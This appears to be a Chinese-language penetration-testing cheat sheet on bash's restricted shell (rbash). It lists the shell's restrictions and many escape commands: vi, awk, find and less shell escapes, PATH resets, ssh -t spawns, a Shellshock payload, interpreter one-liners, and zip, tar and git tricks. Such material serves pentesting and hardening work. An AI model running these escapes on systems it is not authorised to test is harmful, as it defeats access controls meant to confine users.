受限的shell

44592-linux-restricted-shell-bypass-guide.pdf
如果bash以rbash名称启动,或者启动时使用了-r选项,那么它成为受限的 shell。
受限的 shell 一般用来建立一个比标准的 shell 受到更多控制的环境。

受限shell的以下行为是不允许的

  • cd切换目录
  • 设置或取消SHELL,PATH,ENV,或BASH_ENV变量的值;
  • 设置或取消SHELL,PATH,ENV,或BASH_ENV变量的值;
  • 指定的命令名中包含/;
  • 指定包含/的文件名作为传递给内建命令.的参数;
  • 指定包含斜杠 (slash) 的文件名作为-p选项的参数,传递给hash内建命令;
  • 启动时从 shell 环境中导入 (import) 函数定义;
  • 启动时解释 shell 环境中 SHELLOPTS 的值;
  • 使用 >, >|, <>, >&, &>, 和 >> 等重定向操作符重定向输出;
  • 使用exec内建命令来以另一个命令替换 shell;
  • 使用enable内建命令的-f和-d选项来增加和删除内建命令;
  • 使用 enable 内建命令来允许和禁止 shell 内建命令;
  • 指定command内建命令的-p选项;
  • 使用 set +r 或 set +o restricted 来关闭受限模式。

突破受限的shell

rbash 提供的环境的安全程度取决于用户能执行的命令,以下是 利用

vi 逃逸处受限的环境

  1. vi
  2. :set shell=/bin/sh
  3. :shell

查看自己所处的环境

  • 运行 env 查看环境变量
  • 运行 echo $PATH 查找路径设置
  • 运行 echo $shell 或者 echo $0 查看运行的shell环境
  • 查看基本的命令,例如ls,pwd,cd ..,env,set,export,vi,cp,mv

shell变量和路径设置

  • 如果 / 允使用,直接运行 /bin/sh
  • 如果可以进行路径设置、shell变量设置,就可以运行
    • export PATH=/bin:/usr/bin:$PATH
    • export SHELL=/bin/sh
  • 如果可以赋值文件到存在的路径,就可以运行 cp /bin/sh /some/dir/from/PATH; sh

通过系统命令绕过

  • ftp->!/bin/sh
  • gdb->!/bin/sh
  • more/less/man->!/bin/sh
  • vi/vim->:!/bin/sh
  • scp -S tmp/getMeOut.sh x y
  • awk ‘BEGIN {system(‘/bin/sh’)}’
  • find / -name someName-exec /bin/sh ;

逃脱限制:

  • 在远程shell连接加载完成之前执行系统命令
    • ssh test@IP -t '/bin/sh'
  • 在远程shell开始的时候,不加载限制配置文件
    • ssh test@IP -t "bash --noprofile"
  • 尝试破壳漏洞
    • ssh test@IP -t "() { :; }; /bin/bash"

更加深入:

  • 通过编程语言调用shell
    • 使用 except > except spawn sh,然后执行sh
    • 使用 python > python3 -c ‘import os; os.system(“/bin/sh”)’
    • 使用 php > php -a ,然后执行 exec(“sh -i”);
    • 使用 perl > perl -e ‘exec “/bin/sh”;’
    • 使用 lua > os.execute(‘/bin/sh’).
    • 使用 ruby > exec “/bin/sh”
  • 历史文件技巧
    • 将一个想要重写的文件中设置HISTFILE变量
    • 将HISTFILE变量从0到100逐渐递增
    • 执行文件中每行写入的内容
    • 登出并重新登陆。这样就将所想写入的内容指向了HISTFILE文件(原文件权限保持不变)

1)使用 ssh > ssh username@IP - t “/bin/sh” 或者 “/bin/bash”
2)使用 ssh2 > ssh username@IP -t “bash —noprofile”
3)使用 ssh3 > ssh username@IP -t “() { :; }; /bin/bash” (shellshock)
4)使用 ssh4 > ssh -o ProxyCommand=”sh -c /tmp/yourfile.sh” 127.0.0.1 (SUID)
5)使用 git > git help status > ,然后就可以运行 !/bin/bash了
6)使用 pico > pico -s “/bin/bash” ,然后就可以对 /bin/bash 执行写操作,最后执行 CTRL + T
7)使用 zip > zip /tmp/test.zip /tmp/test -T —unzip-command=”sh -c/bin/bash”
8)使用 tar > tar cf /dev/null testfile —checkpoint=1 —checkpointaction=exec=/bin/bash

https://en.wikipedia.org/wiki/Restricted_shell#Weaknesses_of_a_restricted_shell http://pentestmonkey.net/blog/rbash-scp